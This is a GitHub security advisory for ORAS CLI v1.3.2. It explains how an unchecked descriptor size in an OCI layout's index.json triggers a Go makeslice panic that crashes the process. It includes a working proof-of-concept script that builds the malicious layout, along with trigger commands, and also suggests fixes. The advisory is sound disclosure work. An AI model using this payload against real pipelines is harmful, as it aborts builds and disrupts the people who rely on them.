Skip to content

Attacker-controlled OCI descriptor size causes unrecovered panic and process crash in ORAS CLI

Moderate
TerryHowe published GHSA-f36w-mj3v-6jqv Jul 24, 2026

Package

gomod https://github.com/oras-project/oras (Go)

Affected versions

v1.3.2

Patched versions

v1.3.3

Description

Summary

ORAS CLI trusts the size field from attacker-supplied index.json metadata in OCI image layout inputs without an upper-bound check. During store initialization, content.ReadAll() calls make([]byte, desc.Size) with the unvalidated value. A crafted layout with an oversized positive size (e.g., 4611686018427387904) causes Go's runtime to panic with makeslice: len out of range, unconditionally killing the ORAS process. The vulnerability is reachable across all commands that accept --oci-layout, --from-oci-layout, or --input flags, including cp, pull, restore, manifest fetch, repo tags, resolve, and discover.

Severity

Medium (CVSS 3.1: 5.5)

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

  • Attack Vector: Local — the malicious OCI layout must be a local path, though it can originate from a download, CI artifact, or shared directory.
  • Attack Complexity: Low — a single crafted index.json reliably triggers the crash; no race conditions or preconditions needed.
  • Privileges Required: None — no credentials or elevated privileges are required.
  • User Interaction: Required — the victim must invoke an ORAS command that processes the malicious layout.
  • Scope: Unchanged — impact is confined to the ORAS process itself.
  • Confidentiality Impact: None — no data is disclosed.
  • Integrity Impact: None — no data is modified.
  • Availability Impact: High — the process terminates unconditionally; in CI/CD pipelines this aborts builds.

Affected Component

  • oras.land/oras-go/v2@v2.6.0/content/reader.goReadAll() (line 125)
  • oras.land/oras-go/v2@v2.6.0/content/oci/readonlyoci.goloadIndex() (line 182)
  • oras.land/oras-go/v2@v2.6.0/content/oci/oci.goStore.loadIndexFile() (line 411)
  • cmd/oras/internal/option/target.goNewReadonlyTarget() (lines 215, 217)

CWE

  • CWE-789: Memory Allocation with Excessive Size Value
  • CWE-400: Uncontrolled Resource Consumption

Description

Root cause: no upper-bound validation in content.ReadAll()

ReadAll() allocates a buffer whose length is taken directly from the descriptor's Size field:

// oras.land/oras-go/v2@v2.6.0/content/reader.go:121-125
func ReadAll(r io.Reader, desc ocispec.Descriptor) ([]byte, error) {
    if desc.Size < 0 {
        return nil, ErrInvalidDescriptorSize
    }
    buf := make([]byte, desc.Size)  // panics if desc.Size > runtime maxSlice
    ...
}

Only negative values are rejected. A large positive value such as 4611686018427387904 (2⁶²) far exceeds any realistic allocation limit on a 64-bit host. Go's runtime enforces a cap (maxAlloc / elementSize) inside makeslice; exceeding it raises an unrecovered runtime error: makeslice: len out of range panic that terminates the process.

Defense gap: descriptor.Plain() forwards attacker-controlled Size unchanged

Before calling graph.IndexAll(), loadIndex() strips annotation metadata but passes Size through without modification:

// oras.land/oras-go/v2@v2.6.0/internal/descriptor/descriptor.go:83-89
func Plain(desc ocispec.Descriptor) ocispec.Descriptor {
    return ocispec.Descriptor{
        MediaType: desc.MediaType,
        Digest:    desc.Digest,
        Size:      desc.Size,   // forwarded as-is from index.json
    }
}

There is no sanitization pass between json.Unmarshal of index.json and the eventual make([]byte, desc.Size) call.

Execution chain from user input to crash

  1. User runs any oras command with a local OCI layout argument, e.g.
    oras cp --from-oci-layout /tmp/evil-layout:v1 registry/repo:v1

  2. target.go:NewReadonlyTarget() calls oci.NewFromFS() (directory) or oci.NewFromTar() (tar):

    // cmd/oras/internal/option/target.go:214-218
    if info.IsDir() {
        return oci.NewFromFS(ctx, os.DirFS(target.Path))
    }
    store, err := oci.NewFromTar(ctx, target.Path)
  3. Both constructors call store.loadIndexFile(ctx)loadIndex(), which iterates the raw manifests from index.json and calls graph.IndexAll() with each descriptor.Plain(desc).

  4. graph.IndexAll() spawns goroutines via syncutil.Go() / errgroup.Go() and calls content.Successors():

    // oras-go/v2/internal/graph/memory.go:165
    successors, err := content.Successors(ctx, fetcher, node)
  5. For manifest media types (e.g., application/vnd.oci.image.index.v1+json), Successors() calls FetchAll():

    // oras-go/v2/content/graph.go:90-95
    case ocispec.MediaTypeImageIndex:
        content, err := FetchAll(ctx, fetcher, node)
  6. FetchAll() opens the blob successfully (the blob file exists with the correct digest) and passes the descriptor to ReadAll():

    // oras-go/v2/content/storage.go:65-71
    func FetchAll(ctx context.Context, fetcher Fetcher, desc ocispec.Descriptor) ([]byte, error) {
        rc, err := fetcher.Fetch(ctx, desc)  // succeeds — blob exists
        ...
        return ReadAll(rc, desc)             // desc.Size is attacker-controlled
    }
  7. ReadAll() executes make([]byte, 4611686018427387904)panic, process terminated.

The only recover() in the oras-go library (syncutil/once.go:51) immediately re-panics, so the crash is not caught:

defer func() {
    if r := recover(); r != nil {
        o.status <- true
        panic(r)  // re-panics unconditionally
    }
}()

The errgroup goroutines in syncutil.Go have no recover at all, so the panic propagates to the Go runtime and kills the process.

Proof of Concept

# Create malicious OCI layout directory
mkdir -p /tmp/oras_dos_layout/blobs/sha256

cat > /tmp/oras_dos_layout/oci-layout <<'JSON'
{"imageLayoutVersion":"1.0.0"}
JSON

cat > /tmp/oras_dos_layout/root-index.json <<'JSON'
{"schemaVersion":2,"mediaType":"application/vnd.oci.image.index.v1+json","manifests":[]}
JSON

python3 - <<'PY'
import hashlib, json, pathlib

work = pathlib.Path('/tmp/oras_dos_layout')
blob = (work / 'root-index.json').read_bytes()
digest = hashlib.sha256(blob).hexdigest()
(work / 'blobs' / 'sha256' / digest).write_bytes(blob)

# blob exists with correct digest, but size in descriptor is 2^62
index = {
    "schemaVersion": 2,
    "manifests": [{
        "mediaType": "application/vnd.oci.image.index.v1+json",
        "digest": f"sha256:{digest}",
        "size": 4611686018427387904,
        "annotations": {"org.opencontainers.image.ref.name": "v1"}
    }]
}
(work / 'index.json').write_text(json.dumps(index))
print(f"Created malicious layout with blob digest sha256:{digest}")
PY

# Trigger the panic
oras cp --from-oci-layout /tmp/oras_dos_layout:v1 localhost:5000/repo:v1
# Expected: panic: runtime error: makeslice: len out of range

Tar variant:

(cd /tmp/oras_dos_layout && tar -cf /tmp/oras_dos_layout.tar oci-layout index.json blobs)
oras restore --input /tmp/oras_dos_layout.tar --dry-run localhost:5000/repo:v1

Additional crash surfaces (all confirmed by the same root cause):

oras cp --from-oci-layout /tmp/oras_dos_layout:v1 localhost:5000/repo:v1
oras repo tags --oci-layout /tmp/oras_dos_layout
oras manifest fetch --oci-layout /tmp/oras_dos_layout:v1
oras manifest fetch-config --oci-layout /tmp/oras_dos_layout:v1
oras resolve --oci-layout /tmp/oras_dos_layout:v1
oras discover --oci-layout /tmp/oras_dos_layout:v1
oras pull --oci-layout /tmp/oras_dos_layout:v1 -o /tmp/out
oras restore --input /tmp/oras_dos_layout --dry-run localhost:5000/repo:v1

Impact

  • Any ORAS CLI invocation that targets a local OCI layout crashes unconditionally when presented with a crafted index.json.
  • In CI/CD pipelines that download OCI layouts from artifact stores or container registries and process them with ORAS, an attacker with write access to the artifact source can abort pipeline steps.
  • The crash is immediate and reproducible; there is no partial-success state.
  • No memory is actually allocated (the runtime rejects the size before any heap activity), so there is no secondary OOM risk — only process termination.

Recommended Remediation

Option 1: Add an upper-bound guard in content.ReadAll() (preferred — fixes all callers)

Reject descriptors whose Size exceeds a configurable or hard-coded maximum before attempting allocation. This protects every current and future caller of ReadAll:

// oras.land/oras-go/v2/content/reader.go
const maxDescriptorSize = 32 * 1024 * 1024 // 32 MiB; tune as needed

func ReadAll(r io.Reader, desc ocispec.Descriptor) ([]byte, error) {
    if desc.Size < 0 {
        return nil, ErrInvalidDescriptorSize
    }
    if desc.Size > maxDescriptorSize {
        return nil, fmt.Errorf("%w: descriptor size %d exceeds limit %d",
            ErrInvalidDescriptorSize, desc.Size, maxDescriptorSize)
    }
    buf := make([]byte, desc.Size)
    ...
}

Option 2: Validate descriptor sizes in loadIndex() before graph indexing

Cap or reject oversized entries at the OCI store layer, before any blob is fetched:

// oras.land/oras-go/v2/content/oci/readonlyoci.go
const maxManifestSize = 4 * 1024 * 1024 // 4 MiB per OCI spec guidance

func loadIndex(...) error {
    for _, desc := range index.Manifests {
        if desc.Size < 0 || desc.Size > maxManifestSize {
            return fmt.Errorf("descriptor %s has invalid size %d", desc.Digest, desc.Size)
        }
        ...
    }
    ...
}

This approach is lower coverage (only guards loadIndex), so Option 1 is preferred.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

No CWEs

Credits